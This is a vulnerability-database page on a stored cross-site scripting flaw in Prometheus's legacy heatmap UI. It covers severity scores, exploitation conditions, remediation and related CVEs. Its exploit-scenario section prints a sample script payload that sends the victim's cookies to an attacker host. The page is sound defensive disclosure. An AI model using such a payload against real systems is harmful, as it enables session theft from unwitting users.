Skip to main content

Prometheus CVE-2026-44903

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-26 GitHub_M
5.1
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain metric injection access (scrape target or write receiver)
  2. Delivery
    Craft histogram metric with malicious `le` label containing JavaScript payload
  3. Exploit
    Prometheus scrapes/ingests and stores poisoned metric
  4. Execution
    Victim opens heatmap chart for affected metric in legacy UI
  5. Persist
    Unescaped `le` value renders as HTML in axis tick
  6. Impact
    Browser executes attacker JavaScript

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The primary hard requirement is that the Prometheus server must be started with the explicit command-line flag --enable-feature=old-ui; this flag is opt-in and non-default, meaning any standard Prometheus deployment is unexposed. Beyond that, the attacker must have a path to inject crafted le label values into Prometheus's time series database - the three concrete injection vectors are: (1) control over or compromise of a scrape target that Prometheus is configured to poll, (2) access to the remote write receiver endpoint when --web.enable-remote-write-receiver is enabled and not restricted to trusted sources, or (3) access to the OTLP receiver when --web.enable-otlp-receiver is enabled and not restricted. Finally, a victim Prometheus user must actively navigate to and open the heatmap chart view for the poisoned metric (UI:P). Exploitation is limited by: the opt-in legacy UI flag, the need for metric injection access (PR:L - not a fully unauthenticated attack against default configs), required victim interaction with the specific chart view, and the fact that XSS scope is limited to the browser - direct server-side impact requires additional admin API flags to be set.

Impact

The CVSS 4.0 score of 5.1 (Medium) accurately reflects the constrained real-world impact. The vector AV:N/AC:L/AT:N/PR:L/UI:P indicates the attack is network-reachable with low complexity and no special attack requirements, but demands low-privileged attacker access to inject metrics (PR:L) and requires victim interaction (UI:P) to view the heatmap. The scope impact is limited - VC:N/VI:N/VA:N on the vulnerable system itself, with only SC:L/SI:L on the subsequent (browser) context, consistent with XSS that cannot directly exfiltrate server secrets but can read partially redacted config, trigger admin API actions, or exfiltrate metric data. The critical limiting factor is the --enable-feature=old-ui requirement: this flag is explicitly non-default and opt-in, meaning the vast majority of Prometheus deployments are unaffected. No EPSS data was provided in the input, and no KEV listing exists, meaning exploitation probability signals are unquantified beyond the CVSS. The risk is genuine but narrowly scoped - teams running the legacy UI in environments where scrape targets or write receivers are not fully trusted face real exposure. Deployments without --enable-feature=old-ui have zero exposure regardless of patch status.

Exploit ScenarioDerived

An attacker with access to a Prometheus scrape target or remote write endpoint crafts a histogram metric with a malicious le label value containing a JavaScript payload (e.g., <script>fetch('https://attacker.example/exfil?d='+encodeURIComponent(document.cookie))</script>). Once Prometheus scrapes or ingests this metric and stores it in its TSDB, any operator using the legacy web UI who navigates to the heatmap chart view for that metric will trigger the XSS, executing the attacker's script in their browser session. No public exploit code has been identified at time of analysis, though exploitation requires only knowledge of Prometheus's histogram label naming conventions and a controlled data source.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 27, 2026

Stored cross-site scripting in Prometheus versions 2.49.0 through 3.5.2/3.11.2 allows a low-privileged attacker who can inject crafted histogram metrics to execute arbitrary JavaScript in the browser of any user who views the affected metric in the legacy heatmap chart UI. Exploitation requires the non-default --enable-feature=old-ui flag to be set and the victim to navigate to the specific heatmap view. No public exploit code has been identified at time of analysis, but the vulnerability is technically straightforward - a missing escapeHTML() call on le label values rendered as axis tick labels in Graph.tsx. This is the third stored DOM XSS in Prometheus's web UI in recent years, following CVE-2019-10215 and CVE-2026-40179.

RemediationAI

Upgrade Prometheus to version 3.5.3 or 3.11.3, which contain the fix confirmed in commit 38f23b9075ced1de2b82d2dad8b2bebb1ecd5b7d (https://github.com/prometheus/prometheus/commit/38f23b9075ced1de2b82d2dad8b2bebb1ecd5b7d). The patch adds escapeHTML() around the le label value in the heatmap tick formatter and fully resolves the vulnerability. If upgrading immediately is not possible, the most effective workaround is removing the --enable-feature=old-ui command-line flag - this disables the vulnerable code path entirely with no monitoring functionality loss since the modern UI is the default. If the legacy UI cannot be disabled, apply the following compensating controls: restrict or disable the remote write receiver (--web.enable-remote-write-receiver) and OTLP receiver (--web.enable-otlp-receiver) if not required, as these are primary external injection vectors; audit and confirm all scrape targets are trusted and not under adversarial control; do not enable --web.enable-admin-api or --web.enable-lifecycle if untrusted metric sources are present, as XSS could be used to invoke those endpoints. Note that scrape target trust is an operational control - network-level restrictions or allowlisting may be required to enforce it reliably.

Affected Packages

go github.com/prometheus/prometheus fix: 0.311.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Prometheus (cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:*) is a Go-based monitoring platform with a React frontend. The legacy web UI, re-enabled via --enable-feature=old-ui, renders histogram heatmap charts using Flot. In web/ui/react-app/src/pages/graph/Graph.tsx, the yaxis.tickFormatter callback directly interpolated data[val - 1].labels.le - the upper-bound label of histogram buckets - into the DOM as raw HTML without sanitization. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: user-controlled data flows from ingested metric labels through storage into an HTML rendering context with no escaping applied. The fix (commit 38f23b9075ced1de2b82d2dad8b2bebb1ecd5b7d) wraps the value with the existing escapeHTML() utility already present in the codebase. Metric label values enter Prometheus via scrape targets, the remote write receiver (--web.enable-remote-write-receiver), or the OTLP receiver (--web.enable-otlp-receiver), making this a stored XSS with multiple injection vectors.

Know when Prometheus gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SUSE 4.6 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 26, 2026 - 22:22 NVD
5.1 (MEDIUM)
CVE Published
May 26, 2026 - 21:27 nvd
UNKNOWN (no severity yet)

DescriptionCVE.org

Prometheus is an open-source monitoring system and time series database. From 2.49.0 to before 3.5.3 and 3.11.3, in the Prometheus server's legacy web UI (enabled via the command-line flag --enable-feature=old-ui), the histogram heatmap chart view does not escape le label values when inserting them into the HTML for use as axis tick mark labels. An attacker who can inject crafted metrics can execute JavaScript in the browser of any Prometheus user who views the metric in the heatmap chart UI. This vulnerability is fixed in 3.5.3 and 3.11.3.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:*
CVE-2022-46146 HIGH POC
8.8 Nov 29

Prometheus Exporter Toolkit is a utility package to build exporters. Rated high severity (CVSS 8.8), this vulnerability

CVE-2026-24892 HIGH POC
7.5 Feb 20

Unsafe PHP deserialization in openITCOCKPIT Community Edition 5.3.1 and earlier allows authenticated attackers to inject

CVE-2026-24891 HIGH POC
7.5 Feb 20

Remote code execution in openITCOCKPIT 5.3.1 and earlier via unsafe deserialization in the Gearman worker component, whi

CVE-2026-42154 HIGH POC
7.5 May 04

Memory exhaustion in Prometheus remote read endpoint allows unauthenticated attackers to crash the monitoring server via

CVE-2026-42151 HIGH POC
7.5 May 04

Prometheus monitoring system exposes Azure AD OAuth client secrets in plaintext via its /-/config HTTP API endpoint. Ver

CVE-2021-29622 MEDIUM POC
6.1 May 19

Prometheus is an open-source monitoring system and time series database. Rated medium severity (CVSS 6.1), this vulnerab

CVE-2020-16248 MEDIUM POC
5.8 Aug 09

Prometheus Blackbox Exporter through 0.17.0 allows /probe?target= SSRF. Rated medium severity (CVSS 5.8), this vulnerabi

CVE-2023-26735 HIGH
7.5 Apr 26

blackbox_exporter v0.23.0 was discovered to contain an access control issue in its probe interface. Rated high severity

CVE-2026-26069 HIGH
7.5 Feb 12

Scraparr versions 3.0.0-beta through 3.0.1 expose Readarr API keys in plaintext through the /metrics endpoint when the R

CVE-2026-0528 MEDIUM
6.5 Jan 13

Denial of Service in Prometheus and Kibana metricsets can be triggered by sending specially crafted malformed payloads t

CVE-2026-119566 MEDIUM
6.3 Oct 30

Prometheus through 3.15.1 can expose Azure AD or Google IAM bearer tokens when remote_write follows an HTTP 3xx redirect

CVE-2019-3826 MEDIUM
6.1 Mar 26

A stored, DOM based, cross-site scripting (XSS) flaw was found in Prometheus before version 2.7.1. Rated medium severity

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
SUSE Linux Enterprise Module for Package Hub 15 SP7 Fixed
SUSE Linux Enterprise Server 16.0 Fixed
SUSE Linux Enterprise Server for SAP applications 16.0 Fixed
SUSE Manager Client Tools 15 Fixed
SUSE Manager Client Tools for SLE 15 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy